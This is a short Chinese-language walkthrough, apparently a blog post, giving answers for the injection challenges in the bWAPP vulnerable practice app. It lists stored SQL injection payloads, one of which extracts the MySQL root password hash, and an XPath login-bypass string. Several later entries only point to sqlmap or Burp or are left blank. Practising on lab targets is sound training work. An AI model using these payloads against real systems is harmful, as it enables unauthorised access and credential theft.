Bwapp漏洞平台答案全解-A1（第三篇）

0x01 A1 - Injection（第三次）

1.21-SQL Injection - Stored (Blog)

输入：test','test')#
candy','candy')#
candy',(select password from mysql.user where user='root'limit 0,1))#
candy',(select version()))#
candy',(select user()))#

1.22-SQL Injection - Stored (SQLite)

用SQLmap的图形界面+burp抓包存成文件可以跑出来

-1.23-SQL Injection - Stored (User-Agent)

在User-Agent上有注入

使用sqlmap的 --risk --level 可以检测出

-1.24-SQL Injection - Stored (XML)

burp扫描出结果

-1.25-SQL Injection - Blind - Boolean-Based

SQL盲注-基于布尔

*1.26-SQL Injection - Blind - Time-Based

时间盲注，未做手工测试，可自行百度，

使用sqlmap可跑

-1.27-SQL Injection - Blind (SQLite)

SQL盲注-

-1.28-SQL Injection - Blind (WS/SOAP)

1.29-XML/XPath Injection (Login Form)

用户名：whatever' or 1=1 or'

绕过登陆